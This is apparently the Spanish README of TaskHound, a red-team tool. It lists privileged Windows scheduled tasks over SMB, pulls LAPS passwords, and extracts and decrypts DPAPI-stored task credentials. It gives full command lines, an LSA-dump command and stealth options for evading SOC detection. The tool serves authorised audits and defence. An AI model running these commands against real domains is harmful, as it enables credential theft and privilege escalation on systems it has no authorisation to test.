
Herramienta para enumerar tareas programadas privilegiadas en sistemas remotos.
Herramienta de descubrimiento de tareas programadas privilegiadas de Windows para diversión y beneficio.
TaskHound busca tareas programadas de Windows que se ejecutan con cuentas privilegiadas y credenciales almacenadas. Enumera tareas a través de SMB, analiza XML y detecta oportunidades de ataque de alto valor mediante la integración con BloodHound.
Para conocer los antecedentes y explicaciones detalladas: consulta las publicaciones del blog asociadas: Parte 1 y Parte 2.
git clone https://github.com/1r0BIT/TaskHound.git cd TaskHound python3 -m venv .venv && source .venv/bin/activate pip install -r requirements.txt && pip install .
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --targets-file hosts.txt --threads 10
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --dc-ip 10.0.0.1 --auto-targets --threads 20
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --targets-file hosts.txt --laps --threads 10
taskhound --offline-disk /mnt/disk
> **Soporte de autenticación**: TaskHound admite la mayoría de los mecanismos de autenticación principales, incluidos contraseña, hash NTLM, Kerberos (también con ccache) y autenticación con clave AES.
## Archivo de configuración
TaskHound admite archivos de configuración TOML para ajustes persistentes. Crea `taskhound.toml` en tu directorio de trabajo o en `~/.config/taskhound/`:```toml
[authentication]
username = "svc_taskhound"
domain = "THESIMPSONS.LOCAL"
[target]
dc_ip = "10.0.0.1"
threads = 10
timeout = 30
[bloodhound]
live = true
connector = "http://127.0.0.1:8080"
api_key = "${BH_API_KEY}" # Use env vars for secrets
api_key_id = "${BH_API_KEY_ID}"
type = "bhce"
[bloodhound.opengraph]
enabled = true
output_dir = "./opengraph"
[laps]
enabled = true
[cache]
enabled = true
ttl = 86400 # 24 hours
Prioridad: Argumentos CLI > Variables de entorno > Configuración local > Configuración de usuario > Predeterminados
El BOF de TaskHound está incluido en el Adaptix Extension-Kit en SAR-BOF/taskhound/.
TTTTT AAA SSS K K H H OOO U U N N DDDD T A A S K K H H O O U U NN N D D T AAAAA SSS KKK HHHHH O O U U N N N D D T A A S K K H H O O U U N NN D D T A A SSSS K K H H OOO UUU N N DDDD
by 0xr0BIT
[+] Connecting to BloodHound CE at http://127.0.0.1:8080 [+] BloodHound connection successful (API v2) [+] High Value target data loaded (42 users) [+] OpenGraph generation enabled (auto-upload active) [] Processing target: moe.thesimpsons.local [+] moe.thesimpsons.local: Connected via SMB [+] moe.thesimpsons.local: Local Admin Access confirmed [] moe.thesimpsons.local: Enumerating scheduled tasks (skipping \Microsoft) [+] moe.thesimpsons.local: Found 12 tasks (3 privileged, 2 with stored credentials)
┌──────────────────────────────────────────────────────────────────────────────┐ │ [TIER-0] moe.thesimpsons.local - \DuffBrewery\BackupJob │ ├──────────────────────────────────────────────────────────────────────────────┤ │ Enabled │ True │ │ RunAs │ THESIMPSONS\Administrator │ │ What │ C:\Scripts\backup_beer_recipes.ps1 │ │ Author │ THESIMPSONS\burns.monty │ │ Date │ 2025-06-15T02:30:00 │ │ Trigger │ Calendar (starts 2025-06-15 02:30, daily) │ │ Reason │ Tier 0 - Domain Admins membership │ │ Cred Validation │ CONFIRMED_VALID │ │ Pwd Analysis │ Password unchanged AND ran within schedule - confirmed │ └──────────────────────────────────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────────────────────────────────┐ │ [PRIV] moe.thesimpsons.local - \KrustyBurger\InventorySync │ ├──────────────────────────────────────────────────────────────────────────────┤ │ Enabled │ True │ │ RunAs │ THESIMPSONS\svc_krusty │ │ What │ C:\KrustyApps\sync.exe --silent │ │ Author │ THESIMPSONS\carlson.carl │ │ Date │ 2025-03-10T08:00:00 │ │ Trigger │ Calendar (starts 2025-03-10 08:00, every 4 hours) │ │ Reason │ High Value match found in BloodHound │ │ Cred Validation │ DEFINITELY_STALE │ │ Pwd Analysis │ Password changed AFTER last run - credentials are stale │ └──────────────────────────────────────────────────────────────────────────────┘
╭─────────────────────────── SCAN COMPLETE ────────────────────────────────────╮ │ [+] Succeeded: 1 │ │ [-] Failed: 0 │ │ Total time: 2.34s │ │ Avg per target: 2340ms │ ╰──────────────────────────────────────────────────────────────────────────────╯
╭─────────────────────────── TASK SUMMARY ─────────────────────────────────────╮ │ Hostname Tier-0 Privileged Normal │ │ moe.thesimpsons.local 1 2 9 │ ╰──────────────────────────────────────────────────────────────────────────────╯
╭─────────────────────── BLOODHOUND OPENGRAPH ─────────────────────────────────╮ │ [+] Generated 3 nodes, 5 edges │ │ [+] Uploaded to BloodHound successfully │ │ [*] JSON saved to: ./opengraph/taskhound_data.json │ ╰──────────────────────────────────────────────────────────────────────────────╯
---
## Integración con BloodHound
TaskHound admite tanto **Legacy BloodHound** (Neo4j) como **BloodHound Community Edition (BHCE)** con detección automática de formato.
### Conexión en vivo```bash
# BHCE with API Key (recommended)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local \
--bh-live --bhce --bh-connector http://127.0.0.1:8080 \
--bh-api-key "YOUR_API_KEY" --bh-api-key-id "YOUR_KEY_ID"
# BHCE with username/password
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local \
--bh-live --bhce --bh-connector http://127.0.0.1:8080 \
--bh-user admin --bh-password password
# Legacy BloodHound (Neo4j)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local \
--bh-live --legacy --bh-connector bolt://127.0.0.1:7687 \
--bh-user neo4j --bh-password password
Si no es posible una conexión en vivo, exporta usuarios de alto valor con estas consultas Cypher:
BHCE:```cypher MATCH (n) WHERE coalesce(n.system_tags, "") CONTAINS "admin_tier_0" OR n.highvalue = true MATCH p = (n)-[:MemberOf*1..]->(g:Group) RETURN p;
**Legado:**```cypher
MATCH (u:User {highvalue:true})
OPTIONAL MATCH (u)-[:MemberOf*1..]->(g:Group)
WITH u, properties(u) as all_props, collect(g.name) as groups
RETURN u.samaccountname AS SamAccountName, all_props, groups
Luego use: taskhound --bh-data exported_users.json ...
TaskHound crea nodos y aristas personalizados en BloodHound CE para visualizar rutas de ataque de tareas programadas.
Lo que obtienes:
ScheduledTask con 20+ propiedades (credenciales, desencadenadores, análisis de contraseñas, estado de validación)HasTask, HasTaskWithStoredCreds, RunsAstaskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --bh-opengraph
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --bh-opengraph --bh-no-upload
> **Nota**: OpenGraph es solo para BHCE. Legacy BloodHound no admite tipos de nodo personalizados.
---
## Integración con LAPS
TaskHound puede recuperar y utilizar automáticamente las contraseñas LAPS para la autenticación por host. Admite tanto Windows LAPS (`msLAPS-Password`) como Legacy LAPS (`ms-Mcs-AdmPwd`), incluidas las contraseñas cifradas mediante MS-GKDI.```bash
# Basic LAPS - auto-retrieves passwords per target
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --targets-file hosts.txt --laps --threads 10
# Custom local admin username
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --laps --laps-user localadmin
# LAPS with OPSEC mode (other noisy operations disabled)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --laps --opsec --force-laps
Tipos de LAPS compatibles:
| Tipo | Atributo | Cifrado |
|---|---|---|
| Windows LAPS | msLAPS-Password | No |
| Windows LAPS |
TaskHound extrae y descifra las credenciales de tareas almacenadas mediante DPAPI. El saqueo de DPAPI está habilitado por defecto.```bash
nxc smb moe.thesimpsons.local -u homer.simpson -p 'Doh!123' --lsa
taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local --dpapi-key 0x51e43225...
taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local
taskhound --offline ./output/raw_backups/moe.thesimpsons.local --dpapi-key 0x51e43225...
taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local --output-dir ./collected
taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local --no-loot
> **Importante**: Cada host tiene una clave DPAPI_SYSTEM única. Para escaneos de múltiples objetivos, recopila (por defecto) y luego descifra cada objetivo sin conexión.
---
## Validación de credenciales
TaskHound evalúa si las contraseñas de tareas almacenadas probablemente sigan siendo válidas consultando el historial de ejecución de tareas mediante RPC y aplicando heurísticas. Esto está **habilitado por defecto**.```bash
# Credential validation is on by default, no flag needed
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local
# Disable validation explicitly
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --no-validate-creds
El Programador de tareas de Windows solo registra las ejecuciones de tareas correctas. Los errores de autenticación (contraseña incorrecta, cuenta bloqueada, etc.) se ignoran silenciosamente. La tarea simplemente no se ejecuta.
Idea clave: Windows valida las credenciales al crear la tarea. Si intentas crear una tarea con una contraseña incorrecta, obtienes ERROR_LOGON_FAILURE y la tarea no se crea. Esto significa: si existe una tarea con credenciales almacenadas, la contraseña era válida cuando se creó la tarea.
TaskHound utiliza heurísticas para estimar la validez de las credenciales:
La idea clave: comparar pwdLastSet de AD con LastRunTime del Programador de tareas nos indica si la contraseña cambió después de la última ejecución correcta. Para tareas que nunca se ejecutaron, comparar pwdLastSet con task_creation_date nos indica si la contraseña cambió después de que la tarea se creara con credenciales válidas.
Sin datos de AD (p. ej., --no-ldap y sin BloodHound): TaskHound recurre al modo solo RPC, utilizando solo el código de retorno y la hora de la última ejecución. Una ejecución correcta devuelve LIKELY_VALID; la detección de obsolescencia basada en la programación sigue aplicándose si se conoce el intervalo del desencadenador a partir del XML de la tarea.
Nota: Deshabilitado cuando se usa
--opseco--no-rpc.
TaskHound admite múltiples formatos de salida para diferentes casos de uso. Todas las salidas utilizan una estructura de directorios organizada bajo --output-dir (por defecto: ./output).
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o plain,json,html
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o json
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o html --output-dir ./audit_results
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o plain,json,csv,html --output-dir ./full_audit
### Estructura de directorios```
./output/ # Base directory (--output-dir)
├── plain/ # Plain text output
│ └── <hostname>/
│ └── tasks.txt
├── json/ # JSON export
│ └── taskhound.json
├── csv/ # CSV export
│ └── taskhound.csv
├── html/ # HTML security reports
│ └── taskhound.html
├── opengraph/ # BloodHound OpenGraph files
│ └── taskhound_data.json
└── raw_backups/ # Raw collection (XML + DPAPI)
└── <hostname>/
├── tasks/ # Task XML files
└── dpapi_loot/ # DPAPI credential blobs
La salida HTML genera un informe de seguridad exhaustivo diseñado para evaluaciones de equipo azul:
De forma predeterminada, TaskHound guarda archivos XML de tareas sin procesar y blobs de credenciales DPAPI para análisis sin conexión:```bash
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --no-backup
taskhound --offline ./output/raw_backups/moe.thesimpsons.local --dpapi-key 0x51e43225...
---
## Escaneo Multihebra
Para entornos grandes, usa escaneo paralelo con limitación de velocidad:```bash
# 20 parallel workers, max 5 targets/second
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --threads 20 --rate-limit 5
# Auto-discover servers only (uses preset filter)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --ldap-filter servers --threads 20
# Include disabled computers and extend stale threshold to 90 days
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --include-disabled --stale-threshold 90
# Target workstations only, disable stale filtering
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --ldap-filter workstations --stale-threshold 0
Por defecto, --auto-targets aplica un filtrado inteligente para reducir el ruido y las conexiones fallidas:
| Filtro | Predeterminado | Anulación |
|---|---|---|
| Cuentas deshabilitadas |
Prioridad de fuentes de datos: BloodHound (si está configurado) → respaldo LDAP
Al usar BloodHound, TaskHound realiza consultas con include_properties=true para una enumeración eficiente de una sola consulta. Si los datos de BloodHound tienen más de 7 días, se muestra una advertencia; más de 30 días activa una advertencia urgente.
Presets de filtro:
servers - solo sistemas operativos Windows Serverworkstations - solo sistemas operativos no servidor(raw LDAP) - filtro LDAP personalizado (requiere fuente LDAP)TaskHound resuelve los SID a nombres legibles mediante una cadena de respaldo de varios niveles:
taskhound -u localadmin -p 'L0c4lP@ss!' -d . -t moe.thesimpsons.local
--ldap-user homer.simpson --ldap-password 'Doh!123' --ldap-domain thesimpsons.local
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --gc-server 10.0.0.1
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --opsec
---
## Análisis sin conexión
Analiza tareas sin acceso a red:```bash
# Previously collected XML backups
taskhound --offline ./backup/moe.thesimpsons.local
# Mounted disk image
taskhound --offline-disk /mnt/disk
# Mounted image with custom hostname
taskhound --offline-disk /mnt/disk --disk-hostname MOE
TaskHound proporciona un control granular sobre las operaciones de red para equilibrar el sigilo frente a la funcionalidad.
Default: BloodHound → Cache → LSARPC → LDAP → GC
--no-ldap: BloodHound → Cache → LSARPC
--no-rpc: BloodHound → Cache → LDAP → GC
--opsec: BloodHound → Cache (only)
### Comportamiento por defecto
TaskHound es **muy ruidoso por defecto** - todas las funciones están habilitadas para obtener la máxima visibilidad. Esto lo hace ideal para auditorías y evaluaciones exhaustivas donde la OPSEC no es una preocupación:
- **Detección de Credential Guard** - Habilitada por defecto (deshabilitar con `--no-credguard`)
- **Validación de credenciales** - Habilitada por defecto (deshabilitar con `--no-validate-creds`)
- **Saqueo de DPAPI** - Habilitado por defecto (deshabilitar con `--no-loot`)
- **Resolución LDAP** - Habilitada por defecto (deshabilitar con `--no-ldap`)
- **Operaciones RPC** - Habilitadas por defecto (deshabilitar con `--no-rpc`)
> [!WARNING]
> **Las comprobaciones de Credential Guard son ALTAMENTE detectables.** Dado que el servicio Remote Registry está detenido por defecto en Windows moderno, TaskHound iniciará remotamente **el servicio** a través de SCM, realizará las comprobaciones y luego lo detendrá (igual que secretsdump). Esto hará que cualquier SOC decente se ilumine como un árbol de Navidad. **Definitivamente usa `--no-credguard` si quieres evitar esto en los engagements.**
Hablando de engagements: para operaciones de red team o sigilosas, usa `--opsec` para deshabilitar todas las funciones ruidosas a la vez. (O usa el BOF).
### Ejemplos de uso```bash
# Full OPSEC mode (disables: LDAP, RPC, looting, credguard, validation; forces sequential scanning)
taskhound -u user -p 'pass' -d corp.local -t target --opsec
# OPSEC with jitter (random 0-5 second delays between hosts)
taskhound -u user -p 'pass' -d corp.local --targets-file hosts.txt --opsec --jitter 5
# Disable LDAP only (keep LSARPC for SID resolution)
taskhound -u user -p 'pass' -d corp.local -t target --no-ldap
# Disable RPC only (keep LDAP for SID resolution)
taskhound -u user -p 'pass' -d corp.local -t target --no-rpc
# LAPS with OPSEC (force LAPS LDAP queries despite --opsec)
taskhound -u user -p 'pass' -d corp.local --laps --opsec --force-laps
--bh-live--opsec - Desactiva todas las operaciones ruidosas de una vez--jitter para la aleatorización de tiempos - Evita patrones de escaneo predecibles--offlineTaskHound usa Rich para la salida de consola formateada con tablas de colores e indicadores de progreso.``` taskhound --help
<details>
<summary>Haz clic para expandir el uso completo</summary>```
Usage: taskhound [OPTIONS] [TARGETS]
AUTHENTICATION OPTIONS
-u, --username Username (required for online mode)
-p, --password Password (omit with -k for Kerberos/ccache)
-d, --domain Domain (required for online mode)
--hashes NTLM hashes (LM:NT or NT-only)
-k, --kerberos Use Kerberos authentication
--aes-key AES key for Kerberos (32 or 64 hex chars)
TARGET OPTIONS
-t, --target Single target or comma-separated list
--targets-file File with targets, one per line
--dc-ip Domain controller IP
--ns, --nameserver DNS nameserver for lookups
--timeout Connection timeout in seconds (default: 5)
--threads Parallel worker threads (default: 10)
--rate-limit Max targets per second (default: unlimited)
--jitter SECONDS Random delay (0-N seconds) between hosts (OPSEC, sequential only)
--dns-tcp Force DNS over TCP (for SOCKS proxies)
--auto-targets Auto-discover targets (BloodHound first, LDAP fallback)
--ldap-filter Filter for auto-targets: 'servers', 'workstations', or raw LDAP
--include-dcs Include Domain Controllers in auto-targets
--include-disabled Include disabled computer accounts
--stale-threshold Exclude computers inactive >N days (default: 60, 0=disable)
SCANNING OPTIONS
--offline Parse XMLs from directory
--offline-disk Analyze mounted Windows filesystem
--disk-hostname Override hostname for offline-disk
--bh-data BloodHound export file for HV detection
--opsec Stealth mode: --no-ldap --no-rpc --no-loot --no-credguard --no-validate-creds --threads 1
--no-rpc Disable RPC operations (LSARPC, CredGuard, validation)
--include-ms Include \Microsoft tasks
--include-local Include local system accounts
--include-all Include ALL tasks
--unsaved-creds Show tasks without stored credentials
--no-credguard Disable Credential Guard detection (default: enabled)
--no-validate-creds Disable credential validation (default: enabled)
BLOODHOUND OPTIONS
--bh-live Enable live BloodHound connection
--bh-connector BloodHound URI (default: http://127.0.0.1:8080)
--bh-user BloodHound username
--bh-password BloodHound password
--bh-api-key BloodHound API key
--bh-api-key-id BloodHound API key ID
--bh-timeout API query timeout (default: 120)
--bhce Use BHCE (Community Edition)
--legacy Use Legacy BloodHound (Neo4j)
--bh-save Save query results to file
OPENGRAPH OPTIONS (BHCE ONLY)
--bh-opengraph Generate OpenGraph JSON files (saves to {output_dir}/opengraph/)
--bh-no-upload Skip automatic upload
--bh-force-icon Force icon update
--bh-icon Icon name (default: clock)
--bh-color Icon color (default: #8B5CF6)
--bh-allow-orphans Create edges for missing nodes
DPAPI OPTIONS
--no-loot Disable DPAPI credential collection (default: enabled)
--dpapi-key DPAPI_SYSTEM userkey (hex format)
LDAP/SID RESOLUTION
--no-ldap Disable LDAP/GC operations
--ldap-user Alternative LDAP username
--ldap-password Alternative LDAP password
--ldap-hashes Alternative LDAP hashes
--ldap-domain Alternative LDAP domain
--ldap-tier0 Enable LDAP-based Tier-0 detection
--gc-server Global Catalog server IP
LAPS OPTIONS
--laps Enable LAPS authentication
--laps-user Override local admin username
--force-laps Force LAPS in OPSEC mode
CACHE OPTIONS
--cache-ttl Cache TTL in seconds (default: 86400)
--no-cache Disable caching
--clear-cache Clear cache before run
--cache-file Cache file path
OUTPUT OPTIONS
-o, --output Output formats (comma-separated: plain,json,csv,html)
Default: plain
--output-dir Base output directory (default: ./output)
--no-backup Disable raw XML backup collection
--no-summary Disable summary table
Output directory structure:
./output/
├── plain/<host>/tasks.txt # Plain text output
├── json/taskhound.json # JSON export
├── csv/taskhound.csv # CSV export
├── html/taskhound.html # HTML security report
├── opengraph/ # BloodHound OpenGraph files
└── raw_backups/<host>/ # Raw XML + DPAPI files
├── tasks/ # Task XML files
└── dpapi_loot/ # DPAPI credential blobs
MISC
--verbose Verbose output
--debug Debug output with stack traces
Cuando la ingesta de cafeína y el tiempo libre se alinean:
Y a todos los que contribuyeron a hacer accesibles las herramientas de seguridad ofensiva.
TaskHound es estrictamente una herramienta de auditoría y educativa. Úsala únicamente en entornos que poseas o para los que tengas autorización explícita de prueba. En serio. No seas un imbécil.
Se aceptan PRs. La mitad de esto fue codificar por vibra inducida por cafeína, así que no esperes milagros.
Úsala de forma responsable. No se proporciona garantía alguna. Consulta LICENSE para más detalles.
| Característica | Descripción |
|---|
| Detección de Tier 0 y alto valor | Identifica automáticamente tareas que se ejecutan como administradores de dominio, administradores empresariales y otras cuentas privilegiadas |
| Integración con BloodHound | Conéctate a instancias BHCE/Legacy en vivo o ingiere exportaciones para la detección de usuarios de alto valor |
| Soporte OpenGraph | Visualiza las tareas programadas como nodos de ruta de ataque en BloodHound CE |
| Integración con LAPS | Recupera y usa automáticamente contraseñas LAPS (tanto Windows LAPS como Legacy) para la autenticación por host |
| Extracción de credenciales DPAPI | Recopila y descifra blobs DPAPI que contienen credenciales de tareas almacenadas |
| Escaneo multihilo | Procesamiento paralelo de objetivos con limitación de velocidad para entornos grandes |
| Detección de Tier-0 basada en LDAP | Detecta cuentas privilegiadas mediante la pertenencia a grupos sin BloodHound |
| Validación de credenciales | Verifica si las contraseñas de tareas almacenadas siguen siendo válidas mediante RPC |
| Análisis sin conexión | Procesa imágenes de disco montadas o XML recopilados previamente |
| Múltiples formatos de salida | Informes de seguridad en texto plano, JSON, CSV y HTML con puntuación de severidad |
| Resolución de SID | Resolución en múltiples niveles mediante BloodHound → Caché → LSARPC → LDAP → GC |
| Almacenamiento en caché | Caché persistente basado en SQLite para búsquedas de SID y credenciales LAPS |
| Fuente | Método de detección |
|---|
| BHCE | isTierZero, etiquetas del sistema (admin_tier_0), AdminSDHolder |
| Legacy | AdminSDHolder (admincount=1), detección basada en SID |
| LDAP | Consultas de pertenencia a grupos (--ldap-tier0) |
| Built-in | SID de Tier 0 conocidos (Domain Admins, Enterprise Admins, etc.) |
msLAPS-EncryptedPassword |
| Sí (MS-GKDI) |
| LAPS heredado | ms-Mcs-AdmPwd | No |
| Estado | Significado |
|---|
CONFIRMED_VALID | Contraseña sin cambios desde la creación de la tarea Y la tarea se ejecutó dentro de la programación esperada: credenciales confirmadas como válidas |
HIGH_CONFIDENCE_VALID | Contraseña sin cambios desde la creación de la tarea, pero se desconoce el momento del desencadenador (p. ej., desencadenador de arranque): credenciales probablemente válidas |
LIKELY_VALID | Contraseña cambiada pero la tarea se ejecutó dentro de la programación (credenciales actualizadas), O la tarea se ejecutó correctamente (modo solo RPC) |
POSSIBLY_STALE | La tarea debería haberse ejecutado pero no lo ha hecho: puede indicar credenciales obsoletas |
DEFINITELY_STALE | Contraseña cambiada después de la última ejecución correcta: las credenciales son definitivamente incorrectas |
NEVER_RAN_LIKELY_VALID | La tarea nunca se ejecutó, pero la contraseña no ha cambiado desde su creación: probablemente válida (puede carecer de derechos de inicio de sesión por lotes) |
NEVER_RAN_POSSIBLY_STALE | La tarea nunca se ejecutó y la contraseña cambió después de su creación: probablemente obsoleta |
NEVER_RAN_UNKNOWN | La tarea nunca se ejecutó, sin contexto de AD: era válida en la creación, se desconoce el estado actual |
UNKNOWN | No se puede determinar (cuenta bloqueada, etc.) |
| Formato | Indicador | Descripción | Caso de uso |
|---|
| Plain | -o plain | Salida de consola legible (por defecto) | Uso interactivo, revisión rápida |
| JSON | -o json | Exportación estructurada legible por máquina | Automatización, análisis de datos, scripting |
| CSV | -o csv | Exportación compatible con hojas de cálculo | Informes, filtrado, análisis con Excel |
| HTML | -o html | Informe de seguridad con puntuación de gravedad | Auditorías de equipo azul, informes para interesados |
| Excluidas |
--include-disabled |
| Equipos inactivos (>60 días) | Excluidos | --stale-threshold 0 (deshabilitar) |
| Controladores de dominio | Excluidos | --include-dcs |
| Protocolo | Operaciones | Opción para deshabilitar |
|---|
| SMB | Enumeración de tareas (siempre utilizada) | N/A |
| LDAP (389/636) | Resolución de SID, detección de Tier-0, pwdLastSet | --no-ldap |
| Global Catalog (3268) | Resolución de SID entre dominios | --no-ldap |
| LSARPC (SMB pipe) | Resolución de SID alternativa | --no-rpc |
| Remote Registry (SMB pipe) | Detección de Credential Guard | --no-credguard |
| Task Scheduler RPC (SMB pipe) | Validación de credenciales | --no-validate-creds |
| DPAPI file collection (SMB) | Recopilación de blobs de credenciales DPAPI | --no-loot |